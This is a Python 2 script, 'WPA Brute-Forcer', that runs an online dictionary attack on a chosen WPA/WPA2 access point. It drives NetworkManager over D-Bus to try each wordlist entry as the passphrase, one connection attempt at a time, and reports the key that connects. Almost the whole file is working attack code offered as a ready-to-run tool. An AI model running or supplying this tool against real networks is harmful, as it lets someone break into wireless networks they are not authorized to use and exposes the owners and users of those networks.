#! /usr/bin/python

appver="1.0"
apptitle="WPA Brute-Forcer"
appcreated="23 Dec 2013"
appupdated="24 Dec 2013"
appnote="Programmed SYChua, " + appcreated + ", Updated " + appupdated

class fcolor:
	BOLD='\033[1m'
	Black='\033[0;30m'
	Red='\033[0;31m'
	Green='\033[0;32m'
	Yellow='\033[0;33m'
	Blue='\033[0;34m'
	Pink='\033[0;35m'
	Cyan='\033[0;36m'
	White='\033[0;37m'
	BBlack='\033[1;30m'
	BRed='\033[1;31m'
	BBlue='\033[1;34m'
	BYellow='\033[1;33m'
	BGreen='\033[1;32m'
	BPink='\033[1;35m'
	BCyan='\033[1;36m'
	BWhite='\033[1;37m'
	UBlack='\033[4;30m'
	URed='\033[4;31m'
	UGreen='\033[4;32m'
	UYellow='\033[4;33m'
	UBlue='\033[4;34m'
	UPink='\033[4;35m'
	UCyan='\033[4;36m'
	UWhite='\033[4;37m'
	BUBlack=BOLD + '\033[4;30m'
	BURed=BOLD + '\033[4;31m'
	BUGreen=BOLD + '\033[4;32m'
	BUYellow=BOLD + '\033[4;33m'
	BUBlue=BOLD + '\033[4;34m'
	BUPink=BOLD + '\033[4;35m'
	BUCyan=BOLD + '\033[4;36m'
	BUWhite=BOLD + '\033[4;37m'
	Gray='\033[1;90m'
	IRed='\033[1;91m'
	IGreen='\033[1;92m'
	IYellow='\033[1;93m'
	IBlue='\033[1;94m'
	IPink='\033[1;95m'
	ICyan='\033[1;96m'
	IWhite='\033[1;97m'
	CReset='\033[0m'
	CDebug='\033[0;90m'
	CDebugB='\033[1;90m'
	allfinal=''

import socket
import sys
import requests
import sys,os
import subprocess
import random
import curses
import termios
import tty
import time
import signal
import select 
import datetime
import socks
import os.path
import binascii, re
import commands
import array
import struct
import fcntl
import dbus
from subprocess import call
from subprocess import Popen, PIPE


TWidth=103
ScriptName=sys.argv[0]



def read_a_key():
    stdinFileDesc = sys.stdin.fileno()
    oldStdinTtyAttr = termios.tcgetattr(stdinFileDesc)
    try:
        tty.setraw(stdinFileDesc)
        sys.stdin.read(1)
    finally:
        termios.tcsetattr(stdinFileDesc, termios.TCSADRAIN, oldStdinTtyAttr)

def printd(ptext):
	if DebugMode=="1":
		print fcolor.CDebugB  + "[DBG]  " + fcolor.CDebug + ptext  + fcolor.CReset
	if DebugMode=="2":
		print fcolor.CDebugB + "[DBG]  " + fcolor.CDebug + ptext + fcolor.CReset
		print fcolor.CReset + fcolor.White + "       [Break - Press Any Key To Continue]" + fcolor.CReset
		read_a_key()


def printc(ptype, ptext,ptext2):
	printd("PType - " + str(ptype) + "\n       " + "PText = " + str(ptext) + "\n       " + "PText2 = " + str(ptext2))
	bcolor=fcolor.BGreen
	if ptype=="i":
		pcolor=fcolor.BBlue
		tcolor=fcolor.BWhite
	if ptype=="H":
		pcolor=fcolor.BBlue
		tcolor=fcolor.BWhite
		hcolor=fcolor.BUBlue
	if ptype=="!":
		pcolor=fcolor.BRed
		tcolor=fcolor.BYellow
	if ptype=="!!":
		ptype="!"
		pcolor=fcolor.BRed
		tcolor=fcolor.BRed
	if ptype=="." or ptype=="-":
		pcolor=fcolor.BGreen
		tcolor=fcolor.Green
	if ptype=="..":
		ptype="."
		pcolor=fcolor.BGreen
		tcolor=fcolor.BGreen
	if ptype==">" or ptype=="+":
		pcolor=fcolor.BCyan
		tcolor=fcolor.BCyan
	if ptype==" ":
		pcolor=fcolor.BYellow
		tcolor=fcolor.Green
	if ptype=="  ":
		pcolor=fcolor.BYellow
		tcolor=fcolor.BGreen
	if ptype=="?":
		pcolor=fcolor.BYellow
		tcolor=fcolor.BGreen
	if ptype=="x":
		pcolor=fcolor.BRed
		tcolor=fcolor.BBlue
	if ptype=="@" or ptype=="@^":
		pcolor=fcolor.BRed
		tcolor=fcolor.White
	bcolor=pcolor
	if ptext!="":
		tscolor=fcolor.Blue
		ts = time.time()
		DateTimeStamp=datetime.datetime.fromtimestamp(ts).strftime('%d/%m/%Y %H:%M:%S')
		TimeStamp=datetime.datetime.fromtimestamp(ts).strftime('%H:%M:%S')
		DateStamp=datetime.datetime.fromtimestamp(ts).strftime('%d/%m/%Y')
		ptext=ptext.replace("%dt -",tscolor + DateTimeStamp + " -" + tcolor)
		ptext=ptext.replace("%dt",tscolor + DateTimeStamp + tcolor)
		ptext=ptext.replace("%t -",tscolor + TimeStamp + " -" + tcolor)
		ptext=ptext.replace("%t",tscolor + TimeStamp + tcolor)
		ptext=ptext.replace("%d -",tscolor + DateStamp + " -" + tcolor)
		ptext=ptext.replace("%d",tscolor + DateStamp + tcolor)
	if ptype=="x":
		if ptext=="":
			ptext="Press Any Key To Continue..."
		c1=bcolor + "[" + pcolor + ptype + bcolor + "]  " + tcolor + ptext
		print c1,
		sys.stdout.flush()
		read_a_key()
		print ""
		return
	if ptype=="H":
		c1=bcolor + "[" + pcolor + "i" + bcolor + "]  " + hcolor + ptext + fcolor.CReset 
		print c1
		return
	if ptype=="@" or ptype=="@^":
		if ptext2=="":
			ptext2=5
		t=int(ptext2)
		while t!=0:
			s=bcolor + "[" + pcolor + str(t) + bcolor + "]  " + tcolor + ptext + "\r"
			s=s.replace("%s",pcolor+str(ptext2)+tcolor)
			sl=len(s)
			print s,
			sys.stdout.flush()
			time.sleep(1)
			s=""
			ss="\r"
			print "" + s.ljust(sl+2) + ss,
			sys.stdout.flush()
			if ptype=="@^":
				t=t-1
        			while sys.stdin in select.select([sys.stdin], [], [], 0)[0]:
            				line = sys.stdin.readline()
            				if line:
						print bcolor + "[" + fcolor.BRed + "!" + bcolor + "]  " + fcolor.Red + "Interupted by User.." + fcolor.Green
						return
			
			else:
			    t=t-1			
		c1=bcolor + "[" + pcolor + "-" + bcolor + "]  " + tcolor + ptext + "\r"
		c1=c1.replace("%s",pcolor+str(ptext2)+tcolor)
		print c1,
		sys.stdout.flush()
 		print ""
		return
	if ptype=="?":
		if ptext2!="":
			usr_resp=raw_input(bcolor + "[" + pcolor + ptype + bcolor + "]  " + tcolor + ptext + " ( " + pcolor + ptext2 + tcolor + " ) : " + fcolor.BWhite)
			return usr_resp;
		else:
			usr_resp=raw_input(bcolor + "[" + pcolor + ptype + bcolor + "]  " + tcolor + ptext + " : " + fcolor.BWhite)
			return usr_resp;
	if ptype==" " or ptype=="  ":
		print bcolor + "     " + tcolor + ptext + ptext2
	else:
		print bcolor + "[" + pcolor + ptype + bcolor + "]  " + tcolor + ptext + ptext2



def DrawLine(LineChr,LineColor,LineCount):
	printd(fcolor.CDebugB + "DrawLine Function\n" + fcolor.CDebug + "       LineChr - " + str(LineChr) + "\n       " + "LineColor = " + str(LineColor) + "\n       " + "LineCount = " + str(LineCount))
	if LineColor=="":
		LineColor=fcolor.BBlue
	if LineChr=="":
		LineChr="-"
	if LineCount=="":
		curses.setupterm()
		TWidth=curses.tigetnum('cols')
		TWidth=TWidth-1
	else:
		TWidth=LineCount
	print LineColor + LineChr * TWidth

def DisplayAppDetail():
	print fcolor.BBlue + apptitle + ", Version " + appver
	print fcolor.Green + appnote
	print ""
	print fcolor.White + "Note : This application allow user to crack WPA/WPA2 access point without having any client connected to it."
	print fcolor.White + "       Application will attempt to use the list of words provided to bruteforce the WPA/WPA2 access point."
	print fcolor.White + "       Cracking is slow, but this is the proof of concept that we do not need a client to be connected to an access point in order to crack."
	print ""
	print ""


def GetSSID():
	ESSID=printc ("?", "Enter the SSID","")
	if ESSID=="":
		Result=GetSSID()
		return Result;
	printc ("i", "SSID ==> " + fcolor.BRed + ESSID,"")
	return ESSID;

def GetDictLocation():
	DefaultDict="/usr/share/john/password.lst"
	DictLocation=printc("?","Dictionary location :",DefaultDict)
	if DictLocation=="":
		printc ("i", "Dictionary Location ==> " + fcolor.BRed + DefaultDict,"")
		DictLocation=DefaultDict		 
	else:
		printc ("i", "Dictionary Location ==> " + fcolor.BRed + DictLocation,"")
	FE=os.path.isfile(DictLocation)
	if FE!=True:
		ErrText="Dictionary location : " + fcolor.BYellow + str(DictLocation) + fcolor.BRed + " does not exist !"
		printc ("!!",str(ErrText),"")
		print ""
		GetDictLocation()
	return DictLocation;

def GetTimeOut():
	DefaultTimeOut=15
	ConnTimeOut=printc("?","Connection Time Out :",str(DefaultTimeOut))
	if ConnTimeOut=="":
	     ConnTimeOut=DefaultTimeOut
	try:
	     float(ConnTimeOut)
	except ValueError:
	     printc ("!", "Please enter a numberic value !","")
	     GetTimeOut()
	     return;
	printc ("i", "Connection Timeout ==> " + fcolor.BRed + str(ConnTimeOut),"")
	return ConnTimeOut;


def DisplayInterface():
	ps=subprocess.Popen("ifconfig | grep 'HWaddr'", shell=True, stdout=subprocess.PIPE)
	result="\t" + ps.stdout.read()
	result=result.replace("HWaddr","\tMAC : ")
	result=result.replace("\n","\n\t")
	IFaceList=result
	print fcolor.CReset + fcolor.Gray + result
	return IFaceList;



def GetInterface():
	printc ("i","List of Interfaces","")
	IFaceList=DisplayInterface()
	IFACE=printc("?","Enter the interface to use","")
	if IFACE=="":
		Result=GetInterface()
		return Result;		 
	else:
		if IFACE not in IFaceList:
			ErrText="Interface " + fcolor.BYellow + str(IFACE) + fcolor.BRed + " not found !"
			printc ("!!",str(ErrText),"")
			print ""
			GetInterface()
			return
		printc ("i", "Interface ==> " + fcolor.BRed + IFACE,"")
		return IFACE;



def BeginCrack(IFACE,ESSID,DictLocation,ConnTimeOut):
	printc ("H","Setting","")
	printc (" ",fcolor.BWhite + "Interface\t: " + fcolor.BRed + str(IFACE) + fcolor.CReset,"")
	printc (" ",fcolor.BWhite + "SSID\t: " + fcolor.BRed + str(ESSID) + fcolor.CReset,"")
	printc (" ",fcolor.BWhite + "Dict\t: " + fcolor.BRed + str(DictLocation) + fcolor.CReset,"")
	printc (" ",fcolor.BWhite + "Timeout\t: " + fcolor.BRed + str(ConnTimeOut) + fcolor.CReset,"")
	print ""
	printc ("x","","")
	SEEKED_SSID=ESSID
	if __name__ == "__main__":
	    bus = dbus.SystemBus()
	    manager_bus_object = bus.get_object("org.freedesktop.NetworkManager", "/org/freedesktop/NetworkManager")
	    manager = dbus.Interface(manager_bus_object, "org.freedesktop.NetworkManager")
	    manager_props = dbus.Interface(manager_bus_object, "org.freedesktop.DBus.Properties")
	    was_wifi_enabled = manager_props.Get("org.freedesktop.NetworkManager", "WirelessEnabled")
	    if not was_wifi_enabled:
	        print "Enabling WiFi and sleeping for 10 seconds ..."
	        manager_props.Set("org.freedesktop.NetworkManager", "WirelessEnabled", True)
	        time.sleep(10)
	
	    device_path = manager.GetDeviceByIpIface(IFACE)
	    printc ("i", "Device Path for [ " + fcolor.BRed + IFACE + fcolor.BWhite + " ] : " + fcolor.BYellow + device_path,"")
	    device = dbus.Interface(bus.get_object("org.freedesktop.NetworkManager", device_path), "org.freedesktop.NetworkManager.Device.Wireless")
	    accesspoints_paths_list = device.GetAccessPoints()
	
	    our_ap_path = None
	    for ap_path in accesspoints_paths_list:
		time.sleep(0.5)
	        ap_props = dbus.Interface(bus.get_object("org.freedesktop.NetworkManager", ap_path), "org.freedesktop.DBus.Properties")

	        ap_ssid = ap_props.Get("org.freedesktop.NetworkManager.AccessPoint", "Ssid")

	        str_ap_ssid = "".join(chr(i) for i in ap_ssid)
		print fcolor.BWhite + "     Discovered SSID :" + fcolor.BBlue, str_ap_ssid
	        if str_ap_ssid == SEEKED_SSID:
	            our_ap_path = ap_path
	            break
	
	    if not our_ap_path:
	        printc ("!!", "ESSID entered [ " + fcolor.BWhite + str(SEEKED_SSID) + fcolor.BRed + " ] not found ....","")
	        exit(2)
	print ""

	array=[]
	with open(DictLocation,"r") as f:
		for line in f:
		    line=line.replace("\n","")
		    sl=len(line)
		    if sl>=8 and sl<=63:
			SEEKED_PASSPHRASE=line
			SEEKED_PASSPHRASE=SEEKED_PASSPHRASE.replace("\n","")
			cstatus=fcolor.BGreen + "[.]  Trying out " + fcolor.BWhite + str(SEEKED_PASSPHRASE) + fcolor.BGreen + " .... " +  "\r"
			print cstatus,
			sys.stdout.flush()

			connection_params = {
			        "802-11-wireless": {
			            "security": "802-11-wireless-security",
				        },
			        "802-11-wireless-security": {
			            "key-mgmt": "wpa-psk",
				            "psk": SEEKED_PASSPHRASE
				        },
				    }
			settings_path, connection_path = manager.AddAndActivateConnection(connection_params, device_path, our_ap_path)
			NM_ACTIVE_CONNECTION_STATE_ACTIVATED = 2
			NM_ACTIVE_CONNECTION_STATE_DEACTIVATING = 3
			connection_props = dbus.Interface(bus.get_object("org.freedesktop.NetworkManager", connection_path), "org.freedesktop.DBus.Properties")
			state = 0
			counting=0
		        rotata=0
			rstatus="-"
			while True:
				if rotata==0:
				     rstatus="-"
				if rotata==1:
				     rstatus="\\"
				if rotata==2:
				     rstatus="|"
				if rotata==3:
				     rstatus="/"
				rotata=rotata+1
				if rotata==4:
					rotata=0
				cstatus=fcolor.BGreen + "[.]  Trying out " + fcolor.BWhite + str(SEEKED_PASSPHRASE) + fcolor.BGreen + " .... " + fcolor.BWhite + str(rstatus) +  "\r"
				print cstatus,
				sys.stdout.flush()

			        state = connection_props.Get("org.freedesktop.NetworkManager.Connection.Active", "State")
				counting=int(counting)+1
			        if state == NM_ACTIVE_CONNECTION_STATE_ACTIVATED:
					print fcolor.BGreen + "[.]  Trying out " + fcolor.BWhite + str(SEEKED_PASSPHRASE) + fcolor.BGreen + " .... " + fcolor.BGreen + "[Success]"
					FoundKey="1"
					print ""
					printc (".",fcolor.BGreen + "Connection established!","")
					printc (" ","Sleeping for 5 seconds ...","")
					time.sleep(5)
					printc (" ","Disconnecting from [ " + fcolor.BRed + ESSID + fcolor.Green + " ] ....","")
					manager.DeactivateConnection(connection_path)
					settings = dbus.Interface(bus.get_object("org.freedesktop.NetworkManager", settings_path),"org.freedesktop.NetworkManager.Settings.Connection")
					printc ("i",fcolor.BRed + "WPA Passphase Found !!","")
					printc (" ",fcolor.BWhite + "ESSID\t[ " + fcolor.BRed + ESSID + fcolor.BWhite + " ]","")		
					printc (" ",fcolor.BWhite + "Passphase\t[ " + fcolor.BRed + str(SEEKED_PASSPHRASE) + fcolor.BWhite + " ]","")
					settings.Delete()
					break
		
				if int(counting)>=int(ConnTimeOut):
					counting=0
					print fcolor.BGreen + "[.]  Trying out " + fcolor.BWhite + str(SEEKED_PASSPHRASE) + fcolor.BGreen + " .... " + fcolor.BRed + "[Failed]"
					manager.DeactivateConnection(connection_path)
					settings = dbus.Interface(bus.get_object("org.freedesktop.NetworkManager", settings_path), "org.freedesktop.NetworkManager.Settings.Connection")
					settings.Delete()
					FoundKey="0"
					break
				time.sleep(1)
 
			if FoundKey=="1":
				if not was_wifi_enabled:
					manager_props.Set("org.freedesktop.NetworkManager", "WirelessEnabled",False)
					print "DONE!"
				time.sleep(0.001)
				exit(0)


	


	

DebugMode="0"
os.system('clear')
cmdline=len(sys.argv)
DisplayAppDetail()
IFaceList=""
try:
	IFACE=GetInterface()
	ESSID=GetSSID()
	DictLocation=GetDictLocation()
	ConnTimeOut=GetTimeOut()	
 	print ""
	Result=BeginCrack(IFACE,ESSID,DictLocation,ConnTimeOut)
	exit(0)


except (KeyboardInterrupt, SystemExit):
    printd("KeyboardInterrupt - " + str(KeyboardInterrupt) + "\n        SystemExit - " + str(SystemExit))
    print fcolor.BRed + "\n[!]  Session exited !!\n"
except dbus.exceptions.DBusException,error:
    print "err"
